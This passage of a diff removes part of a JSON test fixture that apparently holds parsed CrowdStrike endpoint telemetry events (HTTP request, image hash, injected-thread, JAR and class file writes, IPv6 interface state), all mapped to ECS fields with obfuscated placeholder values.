-                "original": "{\"TemplateInstanceId\":\"5008\",\"aip\":\"89.160.20.112\",\"HttpRequestHeader\":\"94cd/394e821c.html HTTP/76a3503a/1b8d6be3/00c0ab07/2cfb9ad5/4e2e1f0b\",\"event_platform\":\"Win\",\"PatternId\":\"28450\",\"EventOrigin\":\"1\",\"id\":\"5c80fd2a838414022b2f083219c6395b3c6a\",\"ParentCommandLine\":\"82\\\\ab7e5c1\\\\c39d646f.EXE\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"HttpInternalSource\":\"2\",\"event_simpleName\":\"HttpRequestDetect\",\"ContextTimeStamp\":\"1754127300.344\",\"UserName\":\"30d376\",\"ConfigStateHash\":\"9382309105\",\"ContextProcessId\":\"4064545006008\",\"HttpUrl\":\"08cf20/7773b6bd.com/394e821c.html\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"CommandLine\":\"54d\\\\9134161b\\\\033b4ae8\\\\44cb\\\\440b7488\\\\0dc8e72.EXE\\\" /n \\\"C:\\\\6b0cc\\\\30d376\\\\c4deb08f\\\\23555a08\\\\4c840c73.docx\\\" /o \\\"\\\"\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\033b4ae8\\\\4813\\\\440b7488\\\\0dc8e72.EXE\",\"Entitlements\":\"36\",\"name\":\"8d879a136063d7587c6\",\"aid\":\"561ee5011fb41796a5d3d22ecc19d681\",\"HttpMethod\":\"1\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "connection",
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "561ee5011fb41796a5d3d22ecc19d681",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "HttpRequestDetect",
-            "observer": {
-                "address": [
-                    "89.160.20.112"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "serial_number": "561ee5011fb41796a5d3d22ecc19d681",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "args": [
-                    "54d\\9134161b\\033b4ae8\\44cb\\440b7488\\0dc8e72.EXE /n C:\\6b0cc\\30d376\\c4deb08f\\23555a08\\4c840c73.docx /o \""
-                ],
-                "args_count": 1,
-                "command_line": "54d\\9134161b\\033b4ae8\\44cb\\440b7488\\0dc8e72.EXE\" /n \"C:\\6b0cc\\30d376\\c4deb08f\\23555a08\\4c840c73.docx\" /o \"\"",
-                "entity_id": "4064545006008",
-                "executable": "\\6ba0bd\\447b992c\\9134161b\\033b4ae8\\4813\\440b7488\\0dc8e72.EXE",
-                "name": "0dc8e72.EXE"
-            },
-            "related": {
-                "hash": [
-                    "9382309105"
-                ],
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "user": [
-                    "30d376"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "30d376"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticodeHashData": "1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36",
-                "ConfigStateHash": "5900030004",
-                "ContextProcessId": "10705000160",
-                "ContextTimeStamp": "2025-07-10T03:25:43.580Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "16",
-                "EventOrigin": "1",
-                "ImageFileName": "\\6ba0bd\\447b992c\\9134161b\\42955da6\\10b3abfd\\27b5ee41\\dad56584.exe",
-                "MappedFromUserMode": "1",
-                "ModuleCharacteristics": "86",
-                "ModuleSize": "40360682",
-                "OriginalEventTimeStamp": "1749976122.404",
-                "PrimaryModule": "1",
-                "SignInfoFlags": "1754009",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "f5638ae317f9e090033436354c7cf5d36549",
-                "name": "dccbe56e7b3"
-            },
-            "device": {
-                "id": "64cded9cf5ef1c609147019ee3184217"
-            },
-            "dll": {
-                "Ext": {
-                    "size": 40360682
-                },
-                "hash": {
-                    "md5": "896a7b972e546354ae731504897bb216",
-                    "sha1": "9692067083780606753097782045800757094700",
-                    "sha256": "b04af825f79214304a15028ec496fa629750d2998376793532f6bb3629262fd9"
-                },
-                "name": "dad56584.exe"
-            },
-            "event": {
-                "action": "ImageHash",
-                "category": [
-                    "library"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "f5638ae317f9e090033436354c7cf5d36549|64cded9cf5ef1c609147019ee3184217|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ModuleCharacteristics\":\"86\",\"ContextThreadId\":\"137030102310\",\"aip\":\"81.2.69.144\",\"OriginalEventTimeStamp\":\"1749976122.404\",\"SHA1HashData\":\"9692067083780606753097782045800757094700\",\"event_platform\":\"Win\",\"MappedFromUserMode\":\"1\",\"AuthenticodeHashData\":\"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36\",\"EventOrigin\":\"1\",\"id\":\"f5638ae317f9e090033436354c7cf5d36549\",\"EffectiveTransmissionClass\":\"3\",\"ModuleSize\":\"40360682\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ImageHash\",\"ContextTimeStamp\":\"1752117943.580\",\"ConfigStateHash\":\"5900030004\",\"ContextProcessId\":\"10705000160\",\"MD5HashData\":\"896a7b972e546354ae731504897bb216\",\"SHA256HashData\":\"b04af825f79214304a15028ec496fa629750d2998376793532f6bb3629262fd9\",\"ConfigBuild\":\"2c8b.4.1403a74.4f\",\"TargetProcessId\":\"10705000160\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\42955da6\\\\10b3abfd\\\\27b5ee41\\\\dad56584.exe\",\"Entitlements\":\"16\",\"name\":\"dccbe56e7b3\",\"PrimaryModule\":\"1\",\"aid\":\"64cded9cf5ef1c609147019ee3184217\",\"SignInfoFlags\":\"1754009\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "64cded9cf5ef1c609147019ee3184217",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ImageHash",
-            "observer": {
-                "address": [
-                    "81.2.69.144"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "serial_number": "64cded9cf5ef1c609147019ee3184217",
-                "version": "2c8b.4.1403a74.4f"
-            },
-            "process": {
-                "entity_id": "10705000160",
-                "thread": {
-                    "id": 137030102310
-                }
-            },
-            "related": {
-                "hash": [
-                    "896a7b972e546354ae731504897bb216",
-                    "b04af825f79214304a15028ec496fa629750d2998376793532f6bb3629262fd9",
-                    "9692067083780606753097782045800757094700",
-                    "5900030004"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "240271348",
-                "ContextProcessId": "3006607000981",
-                "ContextTimeStamp": "2025-06-10T02:00:56.920Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "36",
-                "EventOrigin": "1",
-                "InjectedThreadFlag": "430",
-                "RawThreadId": "5008",
-                "SourceThreadStartAddress": "984100382000810",
-                "TargetThreadId": "505479000700240",
-                "TargetThreadModule": "\\63dc8ea2\\1c329924.dll",
-                "ThreadStartAddress": "947500501770690",
-                "ThreadStartContext": "5177300087920",
-                "UserThread": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "5677e0f1c2f59a879c8c966e3f2583d1b374",
-                "name": "367b7572c21bead4"
-            },
-            "device": {
-                "id": "8fb3daf730de8e73c353f0c4137a51b5"
-            },
-            "event": {
-                "action": "InjectedThread",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "5677e0f1c2f59a879c8c966e3f2583d1b374|8fb3daf730de8e73c353f0c4137a51b5|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ThreadStartAddress\":\"947500501770690\",\"InjectedThreadFlag\":\"430\",\"ContextThreadId\":\"140004900194068\",\"aip\":\"81.2.69.192\",\"event_platform\":\"Win\",\"UserThread\":\"1\",\"TargetThreadModule\":\"\\\\63dc8ea2\\\\1c329924.dll\",\"EventOrigin\":\"1\",\"id\":\"5677e0f1c2f59a879c8c966e3f2583d1b374\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"InjectedThread\",\"TargetThreadId\":\"505479000700240\",\"RawProcessId\":\"7310\",\"ContextTimeStamp\":\"1749520856.920\",\"ConfigStateHash\":\"240271348\",\"ContextProcessId\":\"3006607000981\",\"ThreadStartContext\":\"5177300087920\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"3000303437040\",\"Entitlements\":\"36\",\"name\":\"367b7572c21bead4\",\"RawThreadId\":\"5008\",\"aid\":\"8fb3daf730de8e73c353f0c4137a51b5\",\"SourceThreadStartAddress\":\"984100382000810\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "8fb3daf730de8e73c353f0c4137a51b5",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "InjectedThread",
-            "observer": {
-                "address": [
-                    "81.2.69.192"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "serial_number": "8fb3daf730de8e73c353f0c4137a51b5",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "3000303437040",
-                "pid": 7310,
-                "thread": {
-                    "id": 140004900194068
-                }
-            },
-            "related": {
-                "hash": [
-                    "240271348"
-                ],
-                "ip": [
-                    "81.2.69.192"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "830",
-                "ConfigStateHash": "90089570",
-                "ContextBaseFileName": "d3571e48e3804d61a8d8f51",
-                "ContextProcessId": "3097482600003",
-                "ContextTimeStamp": "2025-11-02T13:33:51.810Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "66",
-                "EventOrigin": "1",
-                "FileCategory": "1",
-                "FileEcpBitmask": "0",
-                "FileObject": "0",
-                "FileOperatorSid": "S-96058-21257-98492",
-                "FileWrittenFlags": "0",
-                "IrpFlags": "0",
-                "IsOnNetwork": "0",
-                "IsOnRemovableDisk": "0",
-                "MajorFunction": "0",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "SHA256HashData": "c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503",
-                "TokenType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "162ec74e6e37e7616a81feca0a38cbc4e060",
-                "name": "45bc1cac0e68ad976"
-            },
-            "device": {
-                "id": "e8709208d980534971098b9a6fb8cf05"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "162ec74e6e37e7616a81feca0a38cbc4e060|e8709208d980534971098b9a6fb8cf05|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"FileOperatorSid\":\"S-96058-21257-98492\",\"ContextBaseFileName\":\"d3571e48e3804d61a8d8f51\",\"FileCategory\":\"1\",\"Size\":\"58518\",\"ContextThreadId\":\"60020000009454\",\"MinorFunction\":\"0\",\"aip\":\"216.160.83.56\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"f6d5e5fb805bf40c0b18541da19518120e0c8b72f04940a8\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\7f136004\\\\03bd69ab\",\"id\":\"162ec74e6e37e7616a81feca0a38cbc4e060\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"JarFileWritten\",\"ContextTimeStamp\":\"1762090431.810\",\"ConfigStateHash\":\"90089570\",\"ContextProcessId\":\"3097482600003\",\"IrpFlags\":\"0\",\"SHA256HashData\":\"c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503\",\"AuthenticationId\":\"830\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"66\",\"name\":\"45bc1cac0e68ad976\",\"OperationFlags\":\"0\",\"aid\":\"e8709208d980534971098b9a6fb8cf05\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\d598026\\\\d62f\\\\c337ca0.tmp_dir1745907951\\\\4fad1919.jar\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "device": "835\\7f136004\\03bd69ab",
-                "directory": "\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951",
-                "extension": "jar",
-                "hash": {
-                    "sha256": "c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503"
-                },
-                "inode": "f6d5e5fb805bf40c0b18541da19518120e0c8b72f04940a8",
-                "name": "4fad1919.jar",
-                "path": "\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\4fad1919.jar",
-                "size": 58518,
-                "type": "file"
-            },
-            "host": {
-                "id": "e8709208d980534971098b9a6fb8cf05",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "JarFileWritten",
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "e8709208d980534971098b9a6fb8cf05",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "3097482600003",
-                "name": "d3571e48e3804d61a8d8f51",
-                "thread": {
-                    "id": 60020000009454
-                }
-            },
-            "related": {
-                "hash": [
-                    "c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503",
-                    "90089570"
-                ],
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "user": [
-                    "S-96058-21257-98492"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-96058-21257-98492"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "9006720370",
-                "ConfigStateHash": "3440491101",
-                "ContextBaseFileName": "939905f021b64c",
-                "ContextProcessId": "568260708421",
-                "ContextTimeStamp": "2025-06-20T15:55:17.905Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "36",
-                "EventOrigin": "1",
-                "FileCategory": "6",
-                "FileEcpBitmask": "0",
-                "FileObject": "0",
-                "FileOperatorSid": "S-93967-95057-39657-2269-87803-54839-16636",
-                "FileWrittenFlags": "0",
-                "IrpFlags": "0",
-                "IsOnNetwork": "0",
-                "IsOnRemovableDisk": "0",
-                "MajorFunction": "0",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "TokenType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "f1d9633f3c4c1752450748ee02e070b772d4",
-                "name": "f5ccfb1a5e748e3a1361b9"
-            },
-            "device": {
-                "id": "2a5a4e5c2a642c985c06f8a712f54c03"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "f1d9633f3c4c1752450748ee02e070b772d4|2a5a4e5c2a642c985c06f8a712f54c03|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"FileOperatorSid\":\"S-93967-95057-39657-2269-87803-54839-16636\",\"ContextBaseFileName\":\"939905f021b64c\",\"FileCategory\":\"6\",\"Size\":\"5007\",\"MinorFunction\":\"0\",\"ContextThreadId\":\"67010543097020\",\"aip\":\"81.2.69.192\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"f9187305c797616a091da12f20ae9d2efa91b48088627f5e\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\b9e65ff8\\\\fb6901a4\",\"id\":\"f1d9633f3c4c1752450748ee02e070b772d4\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"JavaClassFileWritten\",\"ContextTimeStamp\":\"1750434917.905\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"568260708421\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"9006720370\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"36\",\"name\":\"f5ccfb1a5e748e3a1361b9\",\"OperationFlags\":\"0\",\"aid\":\"2a5a4e5c2a642c985c06f8a712f54c03\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\3edfbf1f\\\\77d9dc83\\\\6f9505f\\\\d6c5e3b\\\\d199e12\\\\bba61ca6\\\\2d931c68.class\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "device": "835\\b9e65ff8\\fb6901a4",
-                "directory": "\\6ba0bd\\3edfbf1f\\77d9dc83\\6f9505f\\d6c5e3b\\d199e12\\bba61ca6",
-                "extension": "class",
-                "inode": "f9187305c797616a091da12f20ae9d2efa91b48088627f5e",
-                "name": "2d931c68.class",
-                "path": "\\6ba0bd\\3edfbf1f\\77d9dc83\\6f9505f\\d6c5e3b\\d199e12\\bba61ca6\\2d931c68.class",
-                "size": 5007,
-                "type": "file"
-            },
-            "host": {
-                "id": "2a5a4e5c2a642c985c06f8a712f54c03",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "JavaClassFileWritten",
-            "observer": {
-                "address": [
-                    "81.2.69.192"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "serial_number": "2a5a4e5c2a642c985c06f8a712f54c03",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "568260708421",
-                "name": "939905f021b64c",
-                "thread": {
-                    "id": 67010543097020
-                }
-            },
-            "related": {
-                "hash": [
-                    "3440491101"
-                ],
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "user": [
-                    "S-93967-95057-39657-2269-87803-54839-16636"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-93967-95057-39657-2269-87803-54839-16636"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1080600092",
-                "ContextProcessId": "210000852854060",
-                "ContextTimeStamp": "2025-06-23T20:59:30.441Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "36",
-                "EventOrigin": "1",
-                "InjectedThreadFlag": "940",
-                "RawThreadId": "50455",
-                "SourceThreadStartAddress": "270106100035044",
-                "TargetThreadId": "8976303018009002",
-                "ThreadStartAddress": "7506925004555",
-                "ThreadStartBytes": "9ccbd43213c4cce128ebb1afece9b6e1fc1fa5975d32a036fd154b43248f43de",
-                "ThreadStartContext": "7031100880000",
-                "UserThread": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "5c016fbc5910db79ac911556c19d9efb88c6",
-                "name": "cad7121649b58818d895"
-            },
-            "device": {
-                "id": "2278e50b41a263c2d8421b5135a380a7"
-            },
-            "event": {
-                "action": "JavaInjectedThread",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "5c016fbc5910db79ac911556c19d9efb88c6|2278e50b41a263c2d8421b5135a380a7|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ThreadStartAddress\":\"7506925004555\",\"InjectedThreadFlag\":\"940\",\"ContextThreadId\":\"7029002010518039\",\"aip\":\"216.160.83.56\",\"event_platform\":\"Win\",\"UserThread\":\"1\",\"EventOrigin\":\"1\",\"id\":\"5c016fbc5910db79ac911556c19d9efb88c6\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"JavaInjectedThread\",\"TargetThreadId\":\"8976303018009002\",\"RawProcessId\":\"60037\",\"ThreadStartBytes\":\"9ccbd43213c4cce128ebb1afece9b6e1fc1fa5975d32a036fd154b43248f43de\",\"ContextTimeStamp\":\"1750712370.441\",\"ConfigStateHash\":\"1080600092\",\"ContextProcessId\":\"210000852854060\",\"ThreadStartContext\":\"7031100880000\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"800000030087834\",\"Entitlements\":\"36\",\"name\":\"cad7121649b58818d895\",\"RawThreadId\":\"50455\",\"aid\":\"2278e50b41a263c2d8421b5135a380a7\",\"SourceThreadStartAddress\":\"270106100035044\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "2278e50b41a263c2d8421b5135a380a7",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "JavaInjectedThread",
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "2278e50b41a263c2d8421b5135a380a7",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "800000030087834",
-                "pid": 60037,
-                "thread": {
-                    "id": 7029002010518039
-                }
-            },
-            "related": {
-                "hash": [
-                    "1080600092"
-                ],
-                "ip": [
-                    "216.160.83.56"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AccessType": "4",
-                "AddressFamily": "0",
-                "AdminStatus": "2",
-                "BaseReachableTime": "0",
-                "ConfigStateHash": "9968901000",
-                "ConnectionType": "1",
-                "DadState": "0",
-                "DadTransmits": "0",
-                "DirectionType": "0",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "86",
-                "EventOrigin": "1",
-                "IfType": "0",
-                "InBroadcastOctets": "0",
-                "InDiscards": "0",
-                "InErrors": "0",
-                "InMulticastOctets": "0",
-                "InNUcastPkts": "0",
-                "InOctets": "0",
-                "InUcastOctets": "0",
-                "InUcastPkts": "0",
-                "InUnknownProtos": "0",
-                "InterfaceAlias": "937aad95bcccd8cfa1a93b7bb9c5a2ead",
-                "InterfaceDescription": "f59e6603c99b77bc826e67f3133aa91ba4",
-                "InterfaceFlags": "0",
-                "InterfaceIdentifier": "0",
-                "InterfaceIndex": 0,
-                "InterfaceMtu": "9560",
-                "InterfaceType": "0",
-                "IpEntryFlags": "0",
-                "LinkLocalAddressBehavior": "0",
-                "LinkLocalAddressTimeout": "0",
-                "LocalAddressIP6": [
-                    "2a02:cf40::1"
-                ],
-                "LocalIpAddressPipelineSource": "6",
-                "MaxReassemblySize": "0",
-                "MaxRouterAdvertisementInterval": "0",
-                "MediaConnectState": "0",
-                "MediaType": "46",
-                "Metric": "0",
-                "MinRouterAdvertisementInterval": "0",
-                "NetLuidIndex": 0,
-                "NetworkGuid": "76f651e25d18ba610cf7770da4e745f9886b",
-                "NetworkInterfaceGuid": "c5b6c77ed6710604982c8df8956c7d308373",
-                "NlMtu": "0",
-                "OnLinkPrefixLength": "0",
-                "OperStatus": "2",
-                "OutBroadcastOctets": "0",
-                "OutDiscards": "0",
-                "OutErrors": "0",
-                "OutMulticastOctets": "0",
-                "OutNUcastPkts": "0",
-                "OutOctets": "0",
-                "OutUcastOctets": "0",
-                "OutUcastPkts": "0",
-                "PathMtuDiscoveryTimeout": "0",
-                "PermanentPhysicalAddress": "84-83-02-18-52-28-63-e2-04-16-69-91-78-74-82-30-57-61-38-46-31-03-72-60-27-38-22-88-69-31-67-60",
-                "PhysicalAddressLength": 72,
-                "PhysicalMediumType": "0",
-                "PreferredLifetime": "0",
-                "PrefixLength": "0",
-                "PrefixOrigin": "0",
-                "ReachableTime": "0",
-                "ReceiveLinkSpeed": "300785",
-                "RetransmitTime": "0",
-                "RouteAge": "0",
-                "RouteMetric": "0",
-                "RouteOrigin": "0",
-                "RouterDiscoveryBehavior": "0",
-                "ScopeLevel": "0",
-                "ScopeZone": "0",
-                "SitePrefixLength": "0",
-                "SkipAsSource": "0",
-                "SuffixOrigin": "0",
-                "TransmitLinkSpeed": "300785",
-                "TunnelType": "0",
-                "ValidLifetime": "0",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "b1ba5664a59d4ed815268b354ba0a8ca20f4",
-                "name": "a01d5ce18dcbf077bc4"
-            },
-            "device": {
-                "id": "8b33228d110f333bb96bb91288f6d8ad"
-            },
-            "event": {
-                "action": "LocalIpAddressIP6",
-                "category": [
-                    "configuration",
-                    "host"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "b1ba5664a59d4ed815268b354ba0a8ca20f4|8b33228d110f333bb96bb91288f6d8ad|4092825518eaf67377a6e4492ae44577",
-                "kind": "state",
-                "original": "{\"ValidLifetime\":\"0\",\"OutOctets\":\"0\",\"MaxReassemblySize\":\"0\",\"MediaConnectState\":\"0\",\"InterfaceMtu\":\"9560\",\"NlMtu\":\"0\",\"NetworkGuid\":\"76f651e25d18ba610cf7770da4e745f9886b\",\"InterfaceAlias\":\"937aad95bcccd8cfa1a93b7bb9c5a2ead\",\"InDiscards\":\"0\",\"InBroadcastOctets\":\"0\",\"InterfaceIndex\":\"0\",\"InterfaceFlags\":\"0\",\"PermanentPhysicalAddress\":\"84-83-02-18-52-28-63-e2-04-16-69-91-78-74-82-30-57-61-38-46-31-03-72-60-27-38-22-88-69-31-67-60\",\"DadState\":\"0\",\"InterfaceType\":\"0\",\"MinRouterAdvertisementInterval\":\"0\",\"EventOrigin\":\"1\",\"MediaType\":\"46\",\"id\":\"b1ba5664a59d4ed815268b354ba0a8ca20f4\",\"AddressFamily\":\"0\",\"LocalIpAddressPipelineSource\":\"6\",\"ReceiveLinkSpeed\":\"300785\",\"AccessType\":\"4\",\"event_simpleName\":\"LocalIpAddressIP6\",\"PathMtuDiscoveryTimeout\":\"0\",\"OutDiscards\":\"0\",\"LocalAddressIP6\":\"2a02:cf40::1\",\"IpEntryFlags\":\"0\",\"PreferredLifetime\":\"0\",\"ConnectionType\":\"1\",\"DadTransmits\":\"0\",\"OperStatus\":\"2\",\"PhysicalAddress\":\"99-24-19-28-16-80-11-f3-87-25-11-47-34-01-86-69-80-62-83-83-76-34-14-74-17-18-88-22-65-31-79-46\",\"RouteOrigin\":\"0\",\"InUnknownProtos\":\"0\",\"OutErrors\":\"0\",\"DirectionType\":\"0\",\"InOctets\":\"0\",\"Entitlements\":\"86\",\"name\":\"a01d5ce18dcbf077bc4\",\"RouteAge\":\"0\",\"InUcastOctets\":\"0\",\"aid\":\"8b33228d110f333bb96bb91288f6d8ad\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"IfType\":\"0\",\"OutUcastOctets\":\"0\",\"RetransmitTime\":\"0\",\"SuffixOrigin\":\"0\",\"InMulticastOctets\":\"0\",\"OutBroadcastOctets\":\"0\",\"CreationTimeStamp\":\"\",\"LinkLocalAddressBehavior\":\"0\",\"aip\":\"89.160.20.112\",\"BaseReachableTime\":\"0\",\"InErrors\":\"0\",\"RouterDiscoveryBehavior\":\"0\",\"LinkLocalAddressTimeout\":\"0\",\"RouteMetric\":\"0\",\"event_platform\":\"Win\",\"SitePrefixLength\":\"0\",\"TransmitLinkSpeed\":\"300785\",\"PhysicalAddressLength\":\"72\",\"InUcastPkts\":\"0\",\"EffectiveTransmissionClass\